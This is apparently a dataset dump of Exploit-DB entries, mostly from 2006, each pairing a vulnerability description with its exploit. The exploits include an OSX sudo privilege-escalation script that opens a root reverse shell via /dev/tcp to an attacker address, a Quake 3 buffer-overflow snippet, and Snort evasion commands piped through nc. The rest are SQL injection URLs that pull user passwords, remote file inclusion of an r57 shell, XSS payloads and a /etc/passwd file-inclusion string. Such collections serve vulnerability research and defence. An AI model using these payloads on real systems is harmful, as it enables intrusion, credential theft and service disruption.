QLWD/code_shield huggingface dataset:
标题: Quake 3 Engine - 'CL_ParseDownload' Remote Buffer Overflow EDB-ID: 27969 CVE: 2006-2875 类型: DOS 平台: MULTIPLE 发布日期: 2006-06-05 漏洞利用脚本: // source: https://www.securityfocus.com/bid/18271/info
// 
// The Quake 3 engine is susceptible to a remote buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.
// 
// Remote attackers may exploit this issue to execute arbitrary machine code in the context of affected game clients. Failed exploit attempts will likely crash affected clients.
// 
// Quake 3 version 1.32c and Icculus.org Quake 3 revision 795 are vulnerable to this issue; other versions may also be affected. The affected game engine has been used to create many derivative games, which may also be affected.
// 

// send the gamestate
int i;
MSG_WriteByte( &msg, svc_download );
MSG_WriteShort( &msg, -1 ); // block != 0, for fast return
MSG_WriteShort( &msg, 16384 + 32 ); // amount of bytes to copy
for(i = 0; i < 16384; i++) { // overwrite the data buffer
MSG_WriteByte(&msg, 0x00); // 0x00 for saving space
}
for(i = 0; i < 32; i++) { // do the rest of the job
MSG_WriteByte(&msg, 'a'); // return address: 0x61616161
}
SV_SendMessageToClient( &msg, client );
return; URL: https://www.exploit-db.com/exploits/27969
标题: phpBB 2.0.x - 'template.php' Remote File Inclusion EDB-ID: 27961 CVE: 2006-2865 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18255/info

The phpBB application is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path_to_phpbb]/template.php?page=[attacker] URL: https://www.exploit-db.com/exploits/27961
标题: CoolForum 0.x - 'editpost.php' SQL Injection EDB-ID: 27964 CVE: 2006-2867 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18268/info

CoolForum is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/editpost.php?forumid=1&post=3 UNION SELECT userid,login,password FROM cf_user INTO OUTFILE &#039;/www/web/resultat.txt&#039;%23&parent=1&p=1 URL: https://www.exploit-db.com/exploits/27964
标题: Apple Mac OSX 10.8.4 - Local Privilege Escalation EDB-ID: 27965 CVE: 2013-1775 类型: LOCAL 平台: OSX 发布日期: 2013-08-30 漏洞利用脚本: #!/usr/bin/python

# Original MSF Module: 
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudo_password_bypass.rb

###################################################################################################
# Exploit Title: OSX <= 10.8.4 Local Root Priv Escalation Root Reverse Shell
# Date: 08-27-2013
# Exploit Author: David Kennedy @ TrustedSec
# Website: https://www.trustedsec.com
# Twitter: @Dave_ReL1K
# Tested On: OSX 10.8.4
#
# Reference: http://www.exploit-db.com/exploits/27944/
#
# Example below:
# trustedsec:Desktop Dave$ python osx_esc.py 
# [*] Exploit has been performed. You should have a shell on ipaddr: 127.0.0.1 and port 4444
#
# attacker_box:~ Dave$ nc -l 4444
# bash: no job control in this shell
# bash-3.2# 
###################################################################################################
import subprocess

# IPADDR for REVERSE SHELL - change this to your attacker IP address
ipaddr = "192.168.1.1"

# PORT for REVERSE SHELL - change this to your attacker port address
port = "4444"

# drop into a root shell - replace 192.168.1.1 with the reverse listener
proc = subprocess.Popen('bash', shell=False, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
proc.stdin.write("systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port))
print """
###############################################################
#
# OSX < 10.8.4 Local Root Priv Escalation Root Reverse Shell
#
# Written by: David Kennedy @ TrustedSec
# Website: https://www.trustedsec.com
# Twitter: @Dave_ReL1K
#
# Reference: http://www.exploit-db.com/exploits/27944/
###############################################################
"""
print "[*] Exploit has been performed. You should have a shell on ipaddr: %s and port %s" % (ipaddr,port) URL: https://www.exploit-db.com/exploits/27965
标题: Ovidentia 5.6.x/5.8 - 'posts.php?babInstallPath' Remote File Inclusion EDB-ID: 27955 CVE: 2006-2811 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18232/info
     
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
     
http://www.example.com/orid/ovidentia/posts.php?babInstallPath=http://www.example.com/r57.txt? URL: https://www.exploit-db.com/exploits/27955
标题: Ovidentia 5.6.x/5.8 - 'options.php?babInstallPath' Remote File Inclusion EDB-ID: 27956 CVE: 2006-2811 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18232/info
      
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
      
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
      
http://www.example.com/orid/ovidentia/options.php?babInstallPath=http://www.example.com/r57.txt? URL: https://www.exploit-db.com/exploits/27956
标题: DELTAScripts PHP Pro Publish 2.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27958 CVE: 2006-2821 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18243/info

PHP Pro Publish is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/propublish/art.php?artid="><script>alert(/Soot/)</script>

http://www.example.com/propublish/cat.php?catname="><script>alert(/Soot/)</script> URL: https://www.exploit-db.com/exploits/27958
标题: Ovidentia 5.6.x/5.8 - 'vacadm.php?babInstallPath' Remote File Inclusion EDB-ID: 27952 CVE: 2006-2811 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18232/info
   
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
   
http://www.example.com/orid/ovidentia/vacadm.php?babInstallPath=http://www.example.com/r57.txt? URL: https://www.exploit-db.com/exploits/27952
标题: Ovidentia 5.6.x/5.8 - 'vacadma.php?babInstallPath' Remote File Inclusion EDB-ID: 27951 CVE: 2006-2811 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18232/info
  
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/orid/ovidentia/vacadma.php?babInstallPath=http://www.example.com/r57.txt? URL: https://www.exploit-db.com/exploits/27951
标题: Ovidentia 5.6.x/5.8 - 'search.php?babInstallPath' Remote File Inclusion EDB-ID: 27954 CVE: 2006-2811 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18232/info
     
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
     
http://www.example.com/orid/ovidentia/search.php?babInstallPath=http://www.example.com/r57.txt? URL: https://www.exploit-db.com/exploits/27954
标题: Ovidentia 5.6.x/5.8 - 'vacadmb.php?babInstallPath' Remote File Inclusion EDB-ID: 27950 CVE: 2006-2811 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18232/info
 
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/orid/ovidentia/vacadmb.php?babInstallPath=http://www.example.com/r57.txt? URL: https://www.exploit-db.com/exploits/27950
标题: PHP ManualMaker 1.0 - Multiple Input Validation Vulnerabilities EDB-ID: 27959 CVE: 2006-2803 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18244/info

PHP ManualMaker is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/manualmaker/index.php?print=1&id=<iframe src=http://www.example.com/evilcode.html URL: https://www.exploit-db.com/exploits/27959
标题: LocazoList Classifieds 1.0 - 'Viewmsg.asp' SQL Injection EDB-ID: 27960 CVE: 2006-2858 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18254/info

LocazoList Classifieds is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/[path]/viewmsg.asp?msgid=-1%20union%20select%20epass,0,0,0,email,0,0,0,0,0,0,0,0,0,0%20from%20thing+where+msgid=X URL: https://www.exploit-db.com/exploits/27960
标题: IBWd Guestbook 1.0 - 'index.php' SQL Injection EDB-ID: 27962 CVE: 2006-2854 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18256/info

iBWd Guestbook is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path/index.php?offset=[SQL] URL: https://www.exploit-db.com/exploits/27962
标题: XUEBook 1.0 - 'index.php' SQL Injection EDB-ID: 27963 CVE: 2006-2855 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18262/info

xueBook is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path/index.php?start=[SQL] URL: https://www.exploit-db.com/exploits/27963
标题: Ovidentia 5.6.x/5.8 - 'statart.php?babInstallPath' Remote File Inclusion EDB-ID: 27953 CVE: 2006-2811 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18232/info
    
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
    
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
    
http://www.example.com/orid/ovidentia/statart.php?babInstallPath=http://www.example.com/r57.txt? URL: https://www.exploit-db.com/exploits/27953
标题: Enigma Haber 4.2 - Cross-Site Scripting EDB-ID: 27945 CVE: 2006-2873 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18226/info

Enigma Haber is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/hava.asp?il=[Xss] URL: https://www.exploit-db.com/exploits/27945
标题: Ovidentia 5.6.x/5.8 - 'approb.php?babInstallPath' Remote File Inclusion EDB-ID: 27949 CVE: 2006-2811 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18232/info

Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/orid/ovidentia/approb.php?babInstallPath=http://www.example.com/r57.txt? URL: https://www.exploit-db.com/exploits/27949
标题: Tekno.Portal - 'Bolum.php' SQL Injection EDB-ID: 27933 CVE: 2006-2817 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/18216/info

Tekno.Portal is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path/bolum.php?id=[SQL] URL: https://www.exploit-db.com/exploits/27933
标题: Abarcar Realty Portal 5.1.5 - 'content.php' SQL Injection EDB-ID: 27934 CVE: 2006-2853 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/18218/info

Abarcar Realty Portal is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/content.php?cat=[SQL] URL: https://www.exploit-db.com/exploits/27934
标题: Hogstorps Guestbook 2.0 - Unauthorized Access EDB-ID: 27932 CVE: 2006-2771 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/18205/info

Hogstorps guestbook is prone to an access-authorization vulnerability. The issue occurs because the affected script fails to prompt for authentication credentials. 

An attacker can exploit this issue to delete and modify application data. This could aid in further attacks on the affected computer.

Version 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path_of_application]/admin/radera/tabort.asp?delID=119 URL: https://www.exploit-db.com/exploits/27932
标题: Squirrelmail 1.4.x - 'Redirect.php' Local File Inclusion EDB-ID: 27948 CVE: 2006-2842 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/18231/info

SquirrelMail is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit may allow unauthorized users to view files and to execute local scripts; other attacks are also possible.

http://www.example.com/[squirrelmail dir]/src/redirect.php?plugins[]=../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/27948
标题: PHPMyDesktop/Arcade 1.0 - 'index.php' Local File Inclusion EDB-ID: 27926 CVE: 2006-2747 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/18185/info

phpMyDesktop|arcade is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts.

An attacker may also be able to execute arbitrary code by way of uploaded images.

http://www.example.com/index.php?todo=showsubsite&subsite=[file]%00 URL: https://www.exploit-db.com/exploits/27926
标题: Snort 2.4.x - URIContent Rules Detection Evasion EDB-ID: 27931 CVE: 2006-2769 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/18200/info

Snort is reportedly prone to a vulnerability that may allow malicious packets to bypass detection. 

A successful attack can allow attackers to bypass intrusion detection and to carry out attacks against computers protected by Snort.

This vulnerability affects Snort 2.4.4. Other versions may be vulnerable as well.

perl -e'print "GET /www.example.com?paramter=|backdoor\r http/1.0\r\n\r\n"'|nc vulnerable.server 80

perl -e 'print "GET \x90\x90\x0d http/1.0\r\n\r\n"'|nc 192.168.1.3 80

perl -e 'print "GET \x0d/index.php\x90\x90 HTTP/1.0\n\r\n"'|nc 192.168.1.3 80 URL: https://www.exploit-db.com/exploits/27931
标题: Linux Kernel 2.6.x - Proc dentry_unused Corruption Local Denial of Service EDB-ID: 27925 CVE: 2006-2629 类型: DOS 平台: LINUX 发布日期: 2006-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/18183/info

The Linux kernel is prone to a local denial-of-service vulnerability. This issue is due to a flaw in the 'proc' filesystem.

This vulnerability allows local users to cause a kernel panic, denying further service to legitimate users.

This issue affects Linux kernel versions 2.6.15 through 2.6.17-rc5 on multiprocessor computers running SMP kernels. Other kernel versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27925.tgz URL: https://www.exploit-db.com/exploits/27925
标题: Microsoft Windows XP/2000/2003 - MHTML URI Buffer Overflow (PoC) EDB-ID: 27930 CVE: 2006-2766 类型: DOS 平台: WINDOWS 发布日期: 2006-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/18198/info


[DEFAULT]
BASEURL=
[InternetShortcut]
URL=mhtml://mid:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA URL: https://www.exploit-db.com/exploits/27930
标题: EVA-Web 2.1.2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27922 CVE: 2006-2689 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/18161/info
  
EVA-Web is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
These vulnerabilities are reported to affect versions 2.1.2 and earlier.

http://www.example.com/?perso=[XSS]
http://www.example.com/?aide=[XSS] URL: https://www.exploit-db.com/exploits/27922
标题: vBulletin 3.0.10 - 'Portal.php' SQL Injection EDB-ID: 27929 CVE: 2006-2805 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/18197/info

vBulletin is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/portal.php?id=54&a=viewfeature&featureid=99999/**/UNION/**/SELECT/**/0,1,2,3,4,username,6,7,8,9,10,11,12,password/**/from/**/user/**/where/**/userid=1/* URL: https://www.exploit-db.com/exploits/27929